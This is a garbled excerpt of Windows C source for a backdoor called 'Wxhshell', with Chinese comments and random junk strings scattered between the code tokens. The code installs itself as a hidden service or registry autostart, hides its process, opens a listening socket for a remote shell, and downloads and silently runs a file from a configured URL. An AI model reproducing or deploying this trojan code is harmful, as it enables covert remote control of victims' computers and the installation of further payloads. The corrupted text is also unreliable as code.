b_( char procName[255]; +UWv }| unsigned long cbNeeded; z#Qe$`4& \s[L=^! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K. B\F)K dfAw\7v/ CloseHandle(hProcess); UU(Pg{DA6 db_Qt' > if(strstr(procName,"services")) return 1; // 以服务启动 /&\V6=jA1 ,~,q0PA7J return 0; // 注册表启动 !\| } 9{3_2CIL [f\Jcjc // 主模块 IG|u;PH< int StartWxhshell(LPSTR lpCmdLine) <V)z{uK { NA$)qX_ SOCKET wsl; u`wD6&y* BOOL val=TRUE; {k=3OIp int port=0; KaMg[G struct sockaddr_in door; )-"<19eu ]35`N<Ac if(wscfg.ws_autoins) Install(); MA_YMxP.' M._E$y,5 port=atoi(lpCmdLine); "c} en[ ..h@QQ if(port<=0) port=wscfg.ws_port; q.R(>ZcV 4pMp@b WSADATA data; RSj8T< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /tG as ;o)'dK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q{G8Po$z' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }fk3a9j9u door.sin_family = AF_INET; T}z? i door.sin_addr.s_addr = inet_addr("127.0.0.1"); QxPPgn7' door.sin_port = htons(port); VOC$Kqg; @C^x&Sjm if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e}-fGtFx closesocket(wsl); 66-\}8f8a return 1; y$nI?:d } ,<!*@xy7v `%~}p7Zu if(listen(wsl,2) == INVALID_SOCKET) { z9&j closesocket(wsl); Ax\d{0/oL2 return 1; t$,G%micj } LmyaC2 Wxhshell(wsl); Uc_}=" WSACleanup(); g$2#TWW5 [;aM8N
return 0; |wJdp,q R $bp$[fX(e } sqpo5~ ";`jS&"= // 以NT服务方式启动 \IC^z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Jb$YKt { oCE'@}s.i DWORD status = 0; |5`ecjb. DWORD specificError = 0xfffffff; q2F`q. j Lp"OXJ*es serviceStatus.dwServiceType = SERVICE_WIN32; IO&U=-pn& serviceStatus.dwCurrentState = SERVICE_START_PENDING; $?!]?{K serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?7)v:$(G} serviceStatus.dwWin32ExitCode = 0; 4~A$u^scn serviceStatus.dwServiceSpecificExitCode = 0; "oiN8#Hf serviceStatus.dwCheckPoint = 0; _vb'3~'S serviceStatus.dwWaitHint = 0; ?fP3R':s 5m'AT]5Tn_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SJX9oVJeZ if (hServiceStatusHandle==0) return; 'Q=)- {HM[ )t0 status = GetLastError(); Jlb{1B$7 if (status!=NO_ERROR) EKcPJ\7 { b{-"GqMO serviceStatus.dwCurrentState = SERVICE_STOPPED; !oXFDC3k serviceStatus.dwCheckPoint = 0; k4<28 serviceStatus.dwWaitHint = 0; Q|+ a serviceStatus.dwWin32ExitCode = status; >&e=0@?+G serviceStatus.dwServiceSpecificExitCode = specificError; Nz3+yxv1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); [*It' J^ return; z.SKawm6T } *-fd$l. a+J> serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Q>:vQ+E serviceStatus.dwCheckPoint = 0; oV['%Z' serviceStatus.dwWaitHint = 0; tA4Ra,-c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n6,YA2yZO } :4 z\Q] 3QZm
*.
/" // 处理NT服务事件,比如:启动、停止 OAiW8BAe VOID WINAPI NTServiceHandler(DWORD fdwControl) (y?F8]TfM { _kRc"MaB switch(fdwControl) p{_*<"cfYn { |S).,B case SERVICE_CONTROL_STOP: gCsN\z serviceStatus.dwWin32ExitCode = 0; 6
%aaK|0 serviceStatus.dwCurrentState = SERVICE_STOPPED;
B*}]' serviceStatus.dwCheckPoint = 0; VHqoa>U,* serviceStatus.dwWaitHint = 0; { Mb<onW { V&ETt.91Ft SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3B%7SX } o~y{9Q return; W;R6+@I[ case SERVICE_CONTROL_PAUSE: XNx$^I= serviceStatus.dwCurrentState = SERVICE_PAUSED; EUI*:JU- break; :+>7m case SERVICE_CONTROL_CONTINUE: '?m2|9~ serviceStatus.dwCurrentState = SERVICE_RUNNING; ipMSMk7gx break; ~.G$0IJY case SERVICE_CONTROL_INTERROGATE: ^{IZpT3 break; ;u(*&vRqr^ }; T?[;ej: SetServiceStatus(hServiceStatusHandle, &serviceStatus); vOCaru?~h } mX.mX70|J Xl2g Hh // 标准应用程序主函数 3'6 UvAXFH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w[l#0ZZ { xc@$z*w d>I)_05t // 获取操作系统版本 NTZ3Np` OsIsNt=GetOsVer(); kq(><T GetModuleFileName(NULL,ExeFile,MAX_PATH); F~E)w5?\O 1Zp/EYWa{ // 从命令行安装 u SI@Cjp if(strpbrk(lpCmdLine,"iI")) Install(); YR~e_cA: :ln|n6X // 下载执行文件
Z R=[@Oi if(wscfg.ws_downexe) { 2uT6M%OC if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UE5,Ml~X WinExec(wscfg.ws_filenam,SW_HIDE); ";&PtLe } YwY?tOxBe 0e#PN@ if(!OsIsNt) { Z/: yYSq // 如果时win9x,隐藏进程并且设置为注册表启动 E Lq1 HideProc(); ;c]O *\/ StartWxhshell(lpCmdLine); k0PwAt)65 } " v
wLj: else $ eL-fg if(StartFromService()) p`7d9MV^ // 以服务方式启动 ]<YS7.pT StartServiceCtrlDispatcher(DispatchTable); q Sv!5&u else +PsR*T // 普通方式启动
7;'UC',' StartWxhshell(lpCmdLine); ZGX"Vn|YL ,#;`f=aqTG return 0; +,R!el!o~u }
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